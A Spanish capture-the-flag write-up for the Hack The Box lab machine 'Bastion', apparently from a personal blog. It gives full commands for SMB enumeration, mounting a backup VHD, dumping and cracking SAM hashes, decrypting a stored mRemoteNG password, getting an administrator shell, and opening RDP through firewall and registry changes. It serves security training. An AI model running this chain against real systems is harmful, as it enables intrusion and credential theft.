Información de la máquina.
Contenido | Descripción |
---|---|
OS: | |
Dificultad: | Fácil |
Puntos: | 20 |
Lanzamiento: | 27-Abril-2019 |
IP: | 10.10.10.134 |
Primera sangre de usuario: | st3r30byt3 |
Primera sangre de system: | snowscan |
Creador: | L4mpje |
Reconocimiento.
Como siempre comenzaremos con un escaneo a los 65535
puertos de la máquina para poder encontrar cuales son los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
intrusionz3r0@kali:~$ nmap -p- --open -T5 -n -oG nmapScanAllPorts bastion.htb --min-rate 2000
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-13 21:12 CDT
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.16s latency).
Not shown: 64962 closed ports, 559 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 38.22 seconds
Parámetro | Descripción |
---|---|
-p- | Escanea los 65535 puertos de la máquina. |
–open | Muestra solo los puertos abiertos. |
-T5 | Velocidad del escaneo muy agresiva. |
-n | Desactivar la resolución de nombres DNS. |
-oG | Exportar escaneo en formato grepeable. |
–min-rate | Paquetes por segundo. |
Una vez terminado el escaneo lanzaremos scripts de enumeración básicos para detectar los servicios y versiones de los puertos abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
intrusionz3r0@kali:~$ nmap -sCV -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -oN targeted bastion.htb
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -40m05s, deviation: 1h09m14s, median: -7s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-09-10T01:58:39+02:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-09-09T23:58:41
|_ start_date: 2020-09-09T21:39:57
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 9 18:58:56 2020 -- 1 IP address (1 host up) scanned in 74.04 seconds
Parámetro | Descripción |
---|---|
-sCV | Es la combinación de -sC,-sV, lanza scripts de enumeración básicos y detecta las versiones de los servicios. |
-p | Especifica los puertos a enumerar. |
-oN | Exporta el escaneo en formato nmap. |
Resumen de puertos.
Los puertos que mas destacan son:
- Puerto 22 SSH.
- Puertos 139,445 con un servicio Samba.
- Puerto 5985 con un servicio Winrm.
Enumeración Samba.
Utilizare la herramienta smbclient
para enumerar los recursos compartidos del servicio samba utilizando sesiones nulas.
1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ smbclient -L //bastion.htb/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
Después usare la herramienta smbmap
para enumerar los permisos de los recursos compartidos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
intrusionz3r0@kali:~$ smbmap -R -H bastion.htb -u "null"
[+] Guest session IP: bastion.htb:445 Name: unknown
[\] Work[!] Unable to remove test directory at \\bastion.htb\Backups\MNGCELSROX, please remove manually
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
Backups READ, WRITE
.\Backups\*
dr--r--r-- 0 Sun Sep 13 21:26:06 2020 .
dr--r--r-- 0 Sun Sep 13 21:26:06 2020 ..
dr--r--r-- 0 Sat Sep 12 23:21:49 2020 disco
dr--r--r-- 0 Sat Sep 12 23:42:25 2020 ITSPWBLCEQ
dr--r--r-- 0 Sun Sep 13 21:26:06 2020 MNGCELSROX
fw--w--w-- 116 Tue Apr 16 06:43:19 2019 note.txt
dr--r--r-- 0 Sat Sep 12 23:14:51 2020 NSAPTVHMGD
fr--r--r-- 0 Fri Feb 22 06:43:28 2019 SDT65CB.tmp
dr--r--r-- 0 Fri Feb 22 06:44:02 2019 WindowsImageBackup
dr--r--r-- 0 Sat Sep 12 23:14:31 2020 XYEACLZGRP
.\Backups\WindowsImageBackup\*
dr--r--r-- 0 Fri Feb 22 06:44:02 2019 .
dr--r--r-- 0 Fri Feb 22 06:44:02 2019 ..
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 L4mpje-PC
.\Backups\WindowsImageBackup\L4mpje-PC\*
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 .
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 ..
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 Backup 2019-02-22 124351
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 Catalog
fr--r--r-- 16 Fri Feb 22 06:44:02 2019 MediaId
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 SPPMetadataCache
.\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\*
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 .
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 ..
fr--r--r-- 37761024 Fri Feb 22 06:44:03 2019 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
fr--r--r-- 5418299392 Fri Feb 22 06:45:32 2019 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
fr--r--r-- 1186 Fri Feb 22 06:45:32 2019 BackupSpecs.xml
fr--r--r-- 1078 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_AdditionalFilesc3b9f3c7-5e52-4d5e-8b20-19adc95a34c7.xml
fr--r--r-- 8930 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Components.xml
fr--r--r-- 6542 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_RegistryExcludes.xml
fr--r--r-- 2894 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer4dc3bdd4-ab48-4d07-adb0-3bee2926fd7f.xml
fr--r--r-- 1488 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writer542da469-d3e1-473c-9f4f-7847f01fc64f.xml
fr--r--r-- 1484 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writera6ad56c2-b509-4e6c-bb19-49d8f43532f0.xml
fr--r--r-- 3844 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerafbab4a2-367d-4d15-a586-71dbb18f8485.xml
fr--r--r-- 3988 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writerbe000cbe-11fe-4426-9c58-531aa6355fc4.xml
fr--r--r-- 7110 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writercd3f2362-8bef-46c7-9181-d62844cdc0b2.xml
fr--r--r-- 2374620 Fri Feb 22 06:45:32 2019 cd113385-65ff-4ea2-8ced-5630f6feca8f_Writere8132975-6f93-4464-a53e-1050253ae220.xml
.\Backups\WindowsImageBackup\L4mpje-PC\Catalog\*
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 .
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 ..
fr--r--r-- 5698 Fri Feb 22 06:45:32 2019 BackupGlobalCatalog
fr--r--r-- 7440 Fri Feb 22 06:45:32 2019 GlobalCatalog
.\Backups\WindowsImageBackup\L4mpje-PC\SPPMetadataCache\*
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 .
dr--r--r-- 0 Fri Feb 22 06:45:32 2019 ..
fr--r--r-- 57848 Fri Feb 22 06:45:32 2019 {cd113385-65ff-4ea2-8ced-5630f6feca8f}
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
.\IPC$\*
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 InitShutdown
fr--r--r-- 4 Sun Dec 31 17:23:24 1600 lsass
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 ntsvcs
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 scerpc
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-2f4-0
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 epmapper
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-1dc-0
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 LSM_API_service
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 eventlog
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-390-0
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 atsvc
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-35c-0
fr--r--r-- 4 Sun Dec 31 17:23:24 1600 wkssvc
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 spoolss
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-61c-0
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 trkwks
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 W32TIME_ALT
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 openssh-ssh-agent
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 vgauth-service
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-5b8-0
fr--r--r-- 5 Sun Dec 31 17:23:24 1600 srvsvc
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-25c-0
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 Winsock2\CatalogChangeListener-264-0
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 TermSrv_API_service
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 Ctx_WinStation_API_service
fr--r--r-- 3 Sun Dec 31 17:23:24 1600 SessEnvPublicRpc
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 TDLN-580-41
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 TDLN-1904-41
fr--r--r-- 1 Sun Dec 31 17:23:24 1600 UIA_PIPE_580_00002a4a
Los archivos que mas destacan son:
- note.txt
- 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd
- 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
Montando los recursos.
¿Que son los archivos VHD?
VHD
(Virtual Hard Disk) es un formato de archivo que representa una unidad de disco duro virtual. Contiene lo mismo que lo que se puede encontrar en un disco duro físico, como particiones de disco y un sistema de archivos, aparte de archivos y carpetas.
En el archivo note.txt
encontramos lo siguiente:
Administradores de sistemas: no transfieran todo el archivo de respaldo localmente, la VPN a la oficina subsidiaria es demasiado lenta.
Bien, al parecer no podemos descargarnos los vhd lo cual es obvio, pero lo que podemos hacer es montar los recursos para acceder a ellos.
Pasos:
Primero usaremos la herramienta mount
para montarnos el recurso compartido.
1
intrusionz3r0@kali:~$ sudo mount -t cifs //bastion.htb/backups /mnt/HTB/Bastion -o username="null",password="null"
Luego nos montamos 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
utilizando la herramienta qemu-utils
.
Primero nos instalamos la utilidad.
1
intrusionz3r0@kali:~$ sudo apt-get install qemu-utils
Después cargamos el modulo de kernel nbd
.
1
2
intrusionz3r0@kali:~$ sudo rmmod nbd
intrusionz3r0@kali:~$ sudo modprobe nbd max_part=16
Levantamos el servicio qemu-nbd
y montamos la partición.
1
2
intrusionz3r0@kali:~$ sudo qemu-nbd -c /dev/nbd0 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd1
intrusionz3r0@kali:~$ sudo mount /dev/nbd0p1 /mnt/HTB/vhd
Enumeración de disco virtual.
Si Accedemos a la ruta encontraremos algo como lo siguiente:
Enumerando un poco el disco me percate de que tenemos permisos máximos en los archivos SAM y SYSTEM.
1
2
3
intrusionz3r0@kali:~$ ls -la
.rwxrwxrwx root root 256 KB Fri Feb 22 06:39:21 2019 SAM
.rwxrwxrwx root root 9.2 MB Fri Feb 22 06:43:54 2019 SYSTEM
¿Que son los archivo SAM y SYSTEM?
El archivo SAM (Security Account Manager) es un fichero que se encarga de almacenar credenciales de los usuarios en el sistema operativo de Windows.
El archivo SYSTEM es el archivo el cual se utiliza para proteger el archivo SAM, este tiene la clave para descifrar el contenido del archivo SAM.
Volcado de hashes.
Me muevo los archivos a mi máquina local y utilizo la herramienta samdump2
para volcar los hashes NTLM
.
NTLM es el proveedor predeterminado de autenticación de windows.
1
2
3
4
intrusionz3r0@kali:~$ samdump2 SYSTEM SAM
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::v
Crackeando hash NTLM.
El formato de salida anterior tiene la siguiente estructura:
- Nombre de usuario : ID de usuario : Hash de la contraseña en LM : Hash de la contraseña en NTLM
La parte que mas nos interesa es la que esta marcado en negrita, esa la pasamos a un archivo de texto y utilizamos la herramienta john para descifrarla.
1
intrusionz3r0@kali:~$ john -w=/usr/share/wordlists/rockyou.txt ntlm --format=nt
Credenciales: L4mpje:bureaulampje
.
Rápidamente utilizo la herramienta de crackmapexec para verificar la validez de las credenciales.
1
2
3
cme smb bastion.htb -u "L4mpje" -p "bureaulampje"
SMB 10.10.10.134 445 BASTION [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB 10.10.10.134 445 BASTION [+] Bastion\L4mpje:bureaulampje
y vemos que efectivamente las credenciales son validas por lo que inicio sesión por SSH.
1
intrusionz3r0@kali:~$ ssh L4mpje@bastion.htb
Pero al entrar me percato de que la conexión esta muy extraña y me molesta por lo que mejor decido mudarme a una shell de powershell.
Para que el script funcione necesitas colocar al final del script la linea que esta señalada.
Post-Enumeración.
Para enumerar una máquina en Windows puede seguir la siguiente guia.
Enumerando un poco encontré un programa muy inusual instalado en la máquina.
mRemoteNG es un desarrollo Open Source que permite añadir, usar y gestionar conexiones de diferentes protocolos.
Este cuenta con un archivo de configuración llamado confCons.xml
que dentro almacena credenciales.
Hago una búsqueda en Google para ver donde se encuentra el archivo y encuentro lo siguiente:
Me dirijo a la ruta y efectivamente encontramos el archivo.
Rápidamente lo paso a mi maquina y comienzo a analizarlo.
No es de esperar que la contraseña se encuentre cifrada.
Descifrando la contraseña.
Buscando en Internet encontré la siguiente herramienta: mRemoteNG-Decrypt.
Abro una terminal y ejecuto el siguiente comando.
1
2
intrusionz3r0@kali:~$ python mremoteng_decrypt.py -s "aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=="
Password: thXLHM96BeKL0ER2
Shell como System.
Ahora que tenemos unas credenciales podemos validarlas con crackmapexec.
1
2
3
cme smb bastion.htb -u "Administrator" -p "thXLHM96BeKL0ER2"
SMB 10.10.10.134 445 BASTION [*] Windows Server 2016 Standard 14393 x64 (name:BASTION) (domain:Bastion) (signing:False) (SMBv1:True)
SMB 10.10.10.134 445 BASTION [+] Bastion\Administrator:thXLHM96BeKL0ER2 (Pwn3d!)
Después solo nos autenticamos con las credenciales al servicio winrm.
1
2
3
4
5
6
7
8
9
intrusionz3r0@kali:~$ evil-winrm -i bastion.htb -u "Administrator" -p "thXLHM96BeKL0ER2"
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
bastion\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Escritorio Remoto.
Antes de terminar me gustaría conectarme de manera remota a la máquina, para ello creo una regla de firewall que permita el trafico de entrada y salida por el puerto 3389.
1
2
C:\Windows\system32> netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=in localport=3389 action=allow
C:\Windows\system32> netsh advfirewall firewall add rule name="RDP" protocol=TCP dir=out localport=3389 action=allow
Después habilitamos el RDP modificando el registros.
1
C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Por ultimo solo utilizamos remmina
para conectarnos vía escritorio remoto.
¡¡Somos Administradores!!
Espero te haya gustado, recuerda seguirme en mis redes sociales para estar al pendiente de todo mi contenido.